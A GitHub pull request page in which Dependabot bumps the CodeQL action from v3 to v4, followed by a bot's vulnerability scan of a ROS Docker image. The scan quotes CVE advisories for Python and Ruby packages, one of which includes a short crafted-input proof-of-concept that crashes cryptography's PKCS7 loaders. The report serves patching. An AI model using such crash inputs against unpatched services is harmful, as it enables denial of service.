Bump github/codeql-action from 3 to 4

[dependabot]

Bumps github/codeql-action from 3 to 4.

Release notes

Sourced from github/codeql-action's releases.

v3.30.6

CodeQL Action Changelog

See the releases page for the relevant changes to the CodeQL CLI and language packs.

3.30.6 - 02 Oct 2025

• Update default CodeQL bundle version to 2.23.2. #3168

See the full CHANGELOG.md for more information.

v3.30.5

CodeQL Action Changelog

See the releases page for the relevant changes to the CodeQL CLI and language packs.

3.30.5 - 26 Sep 2025

• We fixed a bug that was introduced in 3.30.4 with upload-sarif which resulted in files without a .sarif extension not getting uploaded. #3160

See the full CHANGELOG.md for more information.

v3.30.4

CodeQL Action Changelog

See the releases page for the relevant changes to the CodeQL CLI and language packs.

3.30.4 - 25 Sep 2025

• We have improved the CodeQL Action's ability to validate that the workflow it is used in does not use different versions of the CodeQL Action for different workflow steps. Mixing different versions of the CodeQL Action in the same workflow is unsupported and can lead to unpredictable results. A warning will now be emitted from the codeql-action/init step if different versions of the CodeQL Action are detected in the workflow file. Additionally, an error will now be thrown by the other CodeQL Action steps if they load a configuration file that was generated by a different version of the codeql-action/init step. #3099 and #3100
• We added support for reducing the size of dependency caches for Java analyses, which will reduce cache usage and speed up workflows. This will be enabled automatically at a later time. #3107
• You can now run the latest CodeQL nightly bundle by passing tools: nightly to the init action. In general, the nightly bundle is unstable and we only recommend running it when directed by GitHub staff. #3130
• Update default CodeQL bundle version to 2.23.1. #3118

See the full CHANGELOG.md for more information.

v3.30.3

CodeQL Action Changelog

See the releases page for the relevant changes to the CodeQL CLI and language packs.

3.30.3 - 10 Sep 2025

No user facing changes.

See the full CHANGELOG.md for more information.

v3.30.2

CodeQL Action Changelog

... (truncated)

Changelog

Sourced from github/codeql-action's changelog.

3.29.4 - 23 Jul 2025

No user facing changes.

3.29.3 - 21 Jul 2025

No user facing changes.

3.29.2 - 30 Jun 2025

• Experimental: When the quality-queries input for the init action is provided with an argument, separate .quality.sarif files are produced and uploaded for each language with the results of the specified queries. Do not use this in production as it is part of an internal experiment and subject to change at any time. #2935

3.29.1 - 27 Jun 2025

• Fix bug in PR analysis where user-provided include query filter fails to exclude non-included queries. #2938
• Update default CodeQL bundle version to 2.22.1. #2950

3.29.0 - 11 Jun 2025

• Update default CodeQL bundle version to 2.22.0. #2925
• Bump minimum CodeQL bundle version to 2.16.6. #2912

3.28.21 - 28 July 2025

No user facing changes.

3.28.20 - 21 July 2025

• Remove support for combining SARIF files from a single upload for GHES 3.18, see the changelog post. #2959

3.28.19 - 03 Jun 2025

• The CodeQL Action no longer includes its own copy of the extractor for the actions language, which is currently in public preview. The actions extractor has been included in the CodeQL CLI since v2.20.6. If your workflow has enabled the actions language and you have pinned your tools: property to a specific version of the CodeQL CLI earlier than v2.20.6, you will need to update to at least CodeQL v2.20.6 or disable actions analysis.
• Update default CodeQL bundle version to 2.21.4. #2910

3.28.18 - 16 May 2025

• Update default CodeQL bundle version to 2.21.3. #2893
• Skip validating SARIF produced by CodeQL for improved performance. #2894
• The number of threads and amount of RAM used by CodeQL can now be set via the CODEQL_THREADS and CODEQL_RAM runner environment variables. If set, these environment variables override the threads and ram inputs respectively. #2891

3.28.17 - 02 May 2025

• Update default CodeQL bundle version to 2.21.2. #2872

3.28.16 - 23 Apr 2025

... (truncated)

Commits

• e296a93 Merge pull request #3183 from github/update-v4.30.7-55283843c
• 93c1673 Update changelog for v4.30.7
• 5528384 Merge pull request #3169 from github/mario-campos/node24
• b66db86 Hoist CHANGELOG note back to "UNRELEASED" section.
• b2e2232 Merge remote-tracking branch 'origin/main' into mario-campos/node24
• 065c6cf Merge pull request #3174 from github/mbg/fix/start-proxy-matrix
• 7fb8378 Re-throw exception in createStatusReportBase when in test mode
• dddf033 Revert changes to build.mjs
• 54ae8ba Simplify PR check by reverting changes to @types/node.
• 65e9e64 Make matrix available to start-proxy action
• Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)

[JLP04]

@dependabot rebase

[github-actions]

Your image	ghcr.io/cuautodrone/cuad-ros:test
Current base image	ubuntu:22.04
Updated base image	ubuntu:25.10

[github-actions]

🔍 Vulnerabilities of ghcr.io/cuautodrone/cuad-ros:test

📦 Image Reference ghcr.io/cuautodrone/cuad-ros:test

digest	sha256:75e63086082094ed0afd7c538e7c564f999933253dbc6dcb21d314bcc74d66a9
vulnerabilities
platform	linux/amd64
size	2.7 GB
packages	2268

📦 Base Image ubuntu:22.04

also known as	jammy jammy-20251001
digest	sha256:4cb780d50443fc4463f1f9360c03ca46512e4fdd8fd97c5ce7e69c8758924575
vulnerabilities

pillow 9.0.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Control of Generation of Code ('Code Injection') Affected range <10.2.0 Fixed version 10.2.0 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.557% EPSS Percentile 67th percentile Description Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter). Out-of-bounds Write Affected range <10.0.1 Fixed version 10.0.1 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 93.949% EPSS Percentile 100th percentile Description Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page. Uncontrolled Resource Consumption Affected range <10.0.0 Fixed version 10.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.137% EPSS Percentile 34th percentile Description An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument. Improper Handling of Highly Compressed Data (Data Amplification) Affected range <9.2.0 Fixed version 9.2.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.191% EPSS Percentile 41st percentile Description Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification). Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <10.3.0 Fixed version 10.3.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.170% EPSS Percentile 39th percentile Description In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <10.0.1 Fixed version 10.0.1 Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that is vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2. Affected range <10.0.1 Fixed version 10.0.1 EPSS Score 0.043% EPSS Percentile 12th percentile Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.

cgi 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Integer Overflow or Wraparound Affected range >=0.2.0 <0.2.1 Fixed version 0.2.1 CVSS Score 9.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.905% EPSS Percentile 75th percentile Description A buffer overrun vulnerability was discovered in CGI.escape_html. This can lead to a buffer overflow when a user passes a very large string (> 700 MB) to CGI.escape_html on a platform where long type takes 4 bytes, typically, Windows. Interpretation Conflict Affected range >=0.2.0 <0.2.2 Fixed version 0.2.2 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 2.492% EPSS Percentile 85th percentile Description Ruby gem cgi.rb prior to versions 0.3.5, 0.2.2 and 0.1.0.2 allow HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. This issue has been patched in versions 0.3.5, 0.2.2 and 0.1.0.2. Reliance on Cookies without Validation and Integrity Checking Affected range =0.2.0 Fixed version 0.2.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.881% EPSS Percentile 75th percentile Description CGI::Cookie.parse in Ruby through 2.6.8 mishandles security prefixes in cookie names. This also affects the CGI gem prior to versions 0.3.1, 0.2.1, 0.1.1, and 0.1.0.1 for Ruby. Inefficient Regular Expression Complexity Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.343% EPSS Percentile 56th percentile Description There is a possibility for Regular expression Denial of Service (ReDoS) by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27220. We recommend upgrading the cgi gem. Details The regular expression used in CGI::Util#escapeElement is vulnerable to ReDoS. The crafted input could lead to a high CPU consumption. This vulnerability only affects Ruby 3.1 and 3.2. If you are using these versions, please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to svalkanov for discovering this issue. Also thanks to nobu for fixing this vulnerability. Uncontrolled Resource Consumption Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.473% EPSS Percentile 64th percentile Description There is a possibility for DoS by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem. Details CGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service. Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to lio346 for discovering this issue. Also thanks to mame for fixing this vulnerability.

stringio 3.0.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <3.0.1.1 Fixed version 3.0.1.1 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 2.044% EPSS Percentile 83rd percentile Description An issue was discovered in StringIO 3.0.1, as distributed in Ruby 3.0.x through 3.0.6 and 3.1.x through 3.1.4. The ungetbyte and ungetc methods on a StringIO can read past the end of a string, and a subsequent call to StringIO.gets may return the memory value. This vulnerability is not affected StringIO 3.0.3 and later, and Ruby 3.2.x and later. We recommend to update the StringIO gem to version 3.0.3 or later. In order to ensure compatibility with bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0 users: Update to stringio 3.0.1.1 For Ruby 3.1 users: Update to stringio 3.1.0.2 You can use gem update stringio to update it. If you are using bundler, please add gem "stringio", ">= 3.0.1.2" to your Gemfile.

setuptools 59.6.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Inefficient Regular Expression Complexity Affected range <65.5.1 Fixed version 65.5.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N EPSS Score 0.318% EPSS Percentile 54th percentile Description Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <78.1.1 Fixed version 78.1.1 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.162% EPSS Percentile 38th percentile Description Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1 Details def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 pypa/setuptools#4946 Improper Control of Generation of Code ('Code Injection') Affected range <70.0.0 Fixed version 70.0.0 CVSS Score 7.5 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 4.250% EPSS Percentile 88th percentile Description A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.

cryptography 3.4.8 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 71st percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. Access of Resource Using Incompatible Type ('Type Confusion') Affected range >=0.8.1 <39.0.1 Fixed version 39.0.1 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H EPSS Score 90.049% EPSS Percentile 100th percentile Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Improper Check for Unusual or Exceptional Conditions Affected range >=1.8 <39.0.1 Fixed version 39.0.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N EPSS Score 0.717% EPSS Percentile 72nd percentile Description Previously, Cipher.update_into would accept Python objects which implement the buffer protocol, but provide only immutable buffers: >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' This would allow immutable objects (such as bytes) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since update_into was originally introduced in cryptography 1.8. NULL Pointer Dereference Affected range >=3.1 <41.0.6 Fixed version 41.0.6 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.603% EPSS Percentile 69th percentile Description Summary Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault. PoC Here is a Python code that triggers the issue: from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. NULL Pointer Dereference Affected range <42.0.2 Fixed version 42.0.2 CVSS Score 5.5 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.224% EPSS Percentile 45th percentile Description Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. Affected range >=2.5 <41.0.4 Fixed version 41.0.4 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.8 <41.0.3 Fixed version 41.0.3 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.5 <=40.0.2 Fixed version 41.0.0 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

protobuf 3.12.4 (pypi) pkg:pypi/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Recursion Affected range <4.25.8 Fixed version 4.25.8 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 6th percentile Description Summary Any project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP tags can be corrupted by exceeding the Python recursion limit. Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team [email protected] Affected versions: This issue only affects the pure-Python implementation of protobuf-python backend. This is the implementation when PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default. This is a Python variant of a previous issue affecting protobuf-java. Severity This is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker. Proof of Concept For reproduction details, please refer to the unit tests decoder_test.py and message_test Remediation and Mitigation A mitigation is available now. Please update to the latest available versions of the following packages: protobuf-python(4.25.8, 5.29.5, 6.31.1) Improper Restriction of Operations within the Bounds of a Memory Buffer Affected range <3.18.3 Fixed version 3.18.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.123% EPSS Percentile 32nd percentile Description Summary A message parsing and memory management vulnerability in ProtocolBuffer’s C++ and Python implementations can trigger an out of memory (OOM) failure when processing a specially crafted message, which could lead to a denial of service (DoS) on services using the libraries. Reporter: ClusterFuzz Affected versions: All versions of C++ Protobufs (including Python) prior to the versions listed below. Severity & Impact As scored by google Medium 5.7 - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Asscored byt NIST High 7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H A small (~500 KB) malicious payload can be constructed which causes the running service to allocate more than 3GB of RAM. Proof of Concept For reproduction details, please refer to the unit test that identifies the specific inputs that exercise this parsing weakness. Mitigation / Patching Please update to the latest available versions of the following packages: protobuf-cpp (3.18.3, 3.19.5, 3.20.2, 3.21.6) protobuf-python (3.18.3, 3.19.5, 3.20.2, 4.21.6) Affected range <3.15.0 Fixed version 3.15.0 EPSS Score 0.150% EPSS Percentile 36th percentile Description Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. We recommend upgrading to version 3.15.0 or greater.

rexml 3.2.5 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range <3.3.6 Fixed version 3.3.6 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.882% EPSS Percentile 86th percentile Description Impact The REXML gem before 3.3.6 has a DoS vulnerability when it parses an XML that has many deep elements that have same local name attributes. If you need to parse untrusted XMLs with tree parser API like REXML::Document.new, you may be impacted to this vulnerability. If you use other parser APIs such as stream parser API and SAX2 parser API, this vulnerability is not affected. Patches The REXML gem 3.3.6 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with tree parser API. References https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ : An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.752% EPSS Percentile 72nd percentile Description Impact The REXML gem before 3.3.2 has a DoS vulnerability when it parses an XML that has many entity expansions with SAX2 or pull parser API. If you need to parse untrusted XMLs with SAX2 or pull parser API, you may be impacted to this vulnerability. Patches The REXML gem 3.3.3 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with SAX2 or pull parser API. References https://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/ : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41946/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.265% EPSS Percentile 50th percentile Description Impact The REXML gem before 3.3.2 has some DoS vulnerabilities when it parses an XML that has many specific characters such as whitespace character, >] and ]>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.3 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability GHSA-4xqq-m2hx-25v8 : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/08/01/dos-rexml-cve-2024-41123/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.2 Fixed version 3.3.2 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 6.315% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.3.1 has some DoS vulnerabilities when it parses an XML that has many specific characters such as <, 0 and %>. If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities. Patches The REXML gem 3.3.2 or later include the patches to fix these vulnerabilities. Workarounds Don't parse untrusted XMLs. References GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908/ Inefficient Regular Expression Complexity Affected range <3.3.9 Fixed version 3.3.9 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 1.153% EPSS Percentile 78th percentile Description Impact The REXML gem before 3.3.9 has a ReDoS vulnerability when it parses an XML that has many digits between &# and x...; in a hex numeric character reference (&#x...;). This does not happen with Ruby 3.2 or later. Ruby 3.1 is the only affected maintained Ruby. Note that Ruby 3.1 will reach EOL on 2025-03. Patches The REXML gem 3.3.9 or later include the patch to fix the vulnerability. Workarounds Use Ruby 3.2 or later instead of Ruby 3.1. References https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761/: An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.2.7 Fixed version 3.2.7 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 5.903% EPSS Percentile 90th percentile Description Impact The REXML gem before 3.2.6 has a DoS vulnerability when it parses an XML that has many >s in an attribute value. If you need to parse untrusted XMLs, you may be impacted to this vulnerability. Patches The REXML gem 3.2.7 or later include the patch to 